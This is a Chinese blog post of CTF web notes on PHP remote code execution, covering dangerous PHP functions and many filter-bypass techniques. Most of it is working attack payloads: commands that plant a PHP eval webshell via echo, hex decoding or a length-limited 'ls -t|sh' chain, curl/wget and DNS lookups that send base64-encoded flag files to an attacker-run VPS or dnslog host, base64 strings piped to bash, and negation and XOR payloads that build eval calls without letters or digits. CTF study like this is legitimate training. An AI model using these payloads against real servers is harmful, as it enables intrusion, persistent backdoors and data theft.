首页 > 其他分享 >CTF_Web笔记_RCE

CTF_Web笔记_RCE

时间:2024-11-19 16:56:23浏览次数:1  
标签:Web txt 函数 flag cat 命令 CTF RCE php

一、RCE(远程代码执行漏洞)

owasp_top_10中,rce又称为os注入漏洞。
在Web应用开发中为了灵活性、简洁性等会让应用调用代码执行函数或系统命令执行函数处理,若应用对用户的输入过滤不严,容易产生远程代码执行漏洞或系统命令执行漏洞。

二、常见RCE漏洞函数

1.系统命令执行函数

system():能将字符串作为OS命令执行,且返回命令执行结果;

exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);

shell_exec():能将字符串作为OS命令执行

passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;

popen():打开进程文件指针

proc_open():与'popen()'类似

pcntl_exec():在当前进程空间执行指定程序;

反引号``:反引号``内的字符串会被解析为OS命令;

2.代码执行函数

eval():将字符串作为php代码执行;

assert():将字符串作为php代码执行;

preg_replace():正则匹配替换字符串;

create_function():主要创建匿名函数;

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;

三、相关绕过

空格绕过

常见的绕过符号有:

	cat flag.txt
	${IFS}		cat${IFS}flag.txt
	$IFS$9		cat$IFS$9flag.txt
	<		cat<flag.txt
	<>		cat<>flag.txt
	{,}		{cat,flag.txt}
命令分隔符
%0a  	#换行符,需要php环境
%0d  	#回车符,需要php环境
;    	#在 shell 中,是”连续指令”
&    	#不管第一条命令成功与否,都会执行第二条命令
&&   	#第一条命令成功,第二条才会执行
|    	#第一条命令的结果,作为第二条命令的输入
||   	#第一条命令失败,第二条才会执行
关键词过滤绕过
  • 拼接绕过
#执行ls命令:			a=l;b=s;$a$b
#cat flag文件内容:		a=c;b=at;c=f;d=lag;$a$b ${c}${d}
#cat test文件内容		a="ccaatt";b=${a:0:1}${a:2:1}${a:4:1};$b test
  • 编码绕过
#base64
echo "Y2F0IC9mbGFn"|base64 -d|bash  ==> cat /flag
echo Y2F0IC9mbGFn|base64 -d|sh      ==> cat /flag

#hex
echo "0x636174202f666c6167" | xxd -r -p|bash   ==> cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")     ==> cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0    ==> cat /flag

#oct/字节
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 ==>cat /flag

ps:$(){}、反引号 可以用于内联执行

  • 单引号和双引号绕过
c'a't test		cat test
c"a"t test		cat test
  • 反斜杠绕过
    ca\t test

  • 通配符绕过

使用tac、od等指令读取文件可以识别通配符,如tac /fl*

*    #通配多个字符
?    #通配单个字符
[…]  #表示匹配方括号之中的任意一个字符,如tac fl[a-z]g    
{…}  #表示匹配大括号里面的所有模式,模式之间使用逗号分隔,如tac fl{a,b,c,d}g
长度限制绕过

>a
#虽然没有输入但是会创建a这个文件

ls -t
#ls基于基于事件排序(从晚到早)

sh a
#sh会把a里面的每行内容当作命令来执行

|
#管道符用于拼接指令

base64 -d
#使用base64编码避免特殊字符

w>hp
w>1.p\\
w>d\>\\
w>\ -\\
w>e64\\
w>bas\\
w>7\|\\
w>XSk\\
w>Fsx\\
w>dFV\\
w>kX0\\
w>bCg\\
w>XZh\\
w>AgZ\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\
ls -t|\
sh

等价于=>echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > 1.php
无回显利用

判断方法:
ls;sleep(3)

利用:

  • 复制,压缩,写shell等方法

copy flag.php flag.txt

mv flag.php flag.txt

cat flag.php > flag.txt

  • 压缩方法
tar cvf flag.tar flag.php #tar压缩

tar zcvf flag.tar.gz flag.php  #tar解压

zip flag.zip flag.php  #zip压缩

unzip flag.zip  #zip解压
  • 写入shell
echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps >webshell.php
#3c3f706870206576616c28245f504f53545b3132335d293b203f3e是<?php eval($_POST[123]); ?>的十六进制编码

echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
  • vps读取

在个人vps中写入php文件,内容如下

<!-- record.php -->
<?php
$data =$_GET['data'];
$f = fopen("flag.txt", "w");
fwrite($f,$data);
fclose($f);
?>

payload

curl http://*.*.*.**/record.php?data=`cat flag.php|base64`
wget http://*.*.*.*/record.php?data=`cat flag.php|base64`
  • DNS请求

使用dnslog获取日志url,payload
curl whoami.48hw0o.ceye.io

  • linux tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

tee file1 file2 //复制文件
ls /|tee 1.txt //命令输出
无字母、数字getshell---if(!preg_match("/[a-za-z0-9]+/is",$a))
  • 取反绕过(url编码后取反)

生成(利用php函数):

<?php
    echo urlencode(~'phpinfo');
?>

payload

?code=(~(%8F%97%8F%96%91%99%90))();
//?code=phpinfo();

?code=(~(%99%96%93%9A%A0%8F%8A%8B%A0%9C%90%91%8B%9A%91%8B%8C))(~(%CB%D1%8F%97%8F),~(%C3%C0%8F%97%8F%DF%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4));
//file_put_contents('4.php','<?php eval(\$_POST[1]);');

结果如下:
image

  • 异或绕过

构造python脚本生成异或payload

点击查看代码
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "
​
answer = str(input("请输入进行异或构造的字符串:"))
​
tmp1, tmp2 = '', ''
for c in answer:
  for i in valid:
    for j in valid:
      if (ord(i) ^ ord(j) == ord(c)):
        tmp1 += i
        tmp2 += j
        break
    else:
      continue
    break
print("tmp1为:",tmp1)
print("tmp2为:",tmp2)

使用php代码进行验证

var_dump('tmp1'^'tmp2')
var_dump('#'^'|'); 	//得到字符 _
var_dump('.'^'~'); 	//得到字符 P
var_dump('/'^'`'); 	//得到字符 0
var_dump('|'^'/'); 	//得到字符 S
var_dump('{'^'/'); 	//得到字符 T
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'

值得注意的是,因为这里面一般是包含了特殊字符,所以需要再进行一次url编码

标签:Web,txt,函数,flag,cat,命令,CTF,RCE,php
From: https://www.cnblogs.com/abigmalon/p/18555196

相关文章

  • CTF_Pwn:test_your_nc
     1.开启环境  2.解法一:打开kali,输入命令:ncIP地址端口 3.解法二:在桌面新建一个1.py,输入下列代码,然后保存文件,复制到Windows环境中。打开cmd,执行命令:python1.py文件路径注意:要实现安装python环境,在cmd中执行两个命令:python-mpipinstallpwn、python-mpipinstal......
  • Educational Codeforces Round 156 (Rated for Div. 2) - VP记录
    A.SumofThree枚举即可,是否可行只与\(a,b,c\)模三的余数有关,所以随便小范围枚举一下\(a,b\)就行了(只枚举\(1,2,3\)可能会因为两数相同而误判),这样最不容易错。点击查看代码#include<cstdio>usingnamespacestd;intmain(){ intT;scanf("%d",&T); while(T--) ......
  • Web3.0安全开发实践|钻石代理合约最佳安全实践
    代理合约是智能合约开发者的重要工具。如今,合约系统里已有多种代理模式和对应的使用规则。我们之前已经概述了可升级的代理合约安全最佳实践。本文我们将介绍了另一种在开发者社区颇受青睐的代理模式,即钻石代理模式。什么是钻石代理模式/合约钻石代理合约,也被称为“钻石”,是......
  • 二分查找(折半查找)(内含CodeForces - 1760F )
    在数组中想要找到一个元素,我们最先想到的就是遍历数组,用if语句判断它们是否相等,但时间复杂度太高,我们也不想遍历数组中的每个元素,感觉太麻烦了。这时就可以用二分查找的方法:先将数组排序,然后不断折中数组,只需比较中值与目标值的大小,更新中值的大小就行了,这样可以大大减少时间......
  • WebSocket的应用:前后端详解与使用
    一、简介WebSocket是一种网络通信协议,它提供了在单个TCP连接上进行全双工通信的功能。在下面这个聊天应用示例中,WebSocket被用于实现实时的聊天功能,包括用户之间的消息发送、接收,用户状态管理以及其他相关的交互操作,为用户带来流畅的聊天体验。二、后端实现(一)模块引入与......
  • 使用Ollama和Open WebUI管理本地开源大模型
    OpenWebUI和Ollama介绍OpenWebUI是一个功能丰富且用户友好的自托管Web用户界面(WebUI),它被设计用于与大型语言模型(LLMs)进行交互,特别是那些由Ollama或与OpenAIAPI兼容的服务所支持的模型。OpenWebUI提供了完全离线运行的能力,这意味着用户可以在没有互联网连接的情况下与......
  • ctf show-web57
    这题相较于55过滤了更多的东西,但是flag在36.php中,并且不需要php,所以我们需要在绕过过滤的同时,构造一个36,这里就要知道linux下的运算$(())是算术扩展,允许你对数值进行加法、减法、乘法、除法等算术运算,并输出结果。$((~$((“”))))表达式解析:$((~$((""))))可以分为几......
  • ctfshow web-75
     由于本题过滤了strlen,没办法使用web72的uaf的方式绕过命令执行的限制连接数据库查询,通过构造一个可以连接数据库的php脚本,来查询数据库内的数据try{  //使用PDO(PHPDataObjects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)  $dbh=newPDO('my......
  • 推荐一款提供web界面支持内网穿透的任务调度软件jiascheduler
    jiascheduler简体中文 · English一个用rust编写的开源高性能,可扩展,动态配置的任务调度器,支持同时推送用户脚本到数以万计的实例运行,并实时收集执行的结果。jiascheduler执行脚本的节点不需要都在同一个网络,其内部设计了一个精巧的网络穿透模型可以用一个控制台管理不同......
  • 【web】Gin+Go-Micro +Vue+Nodejs+jQuery+ElmentUI 用户模块之登陆功能bug现场调试以
    调试Web应用中的用户登录功能需要一定的技巧和工具支持。在这份指南中,我们将利用Gin、Go-Micro、Vue、Node.js、jQuery和ElementUI,介绍如何调试用户登录功能及其效果演示,涵盖初级、中级和高级用法。初级用法介绍初级阶段以简化的HTML表单和jQuery实现用户登录,并使用Gin框......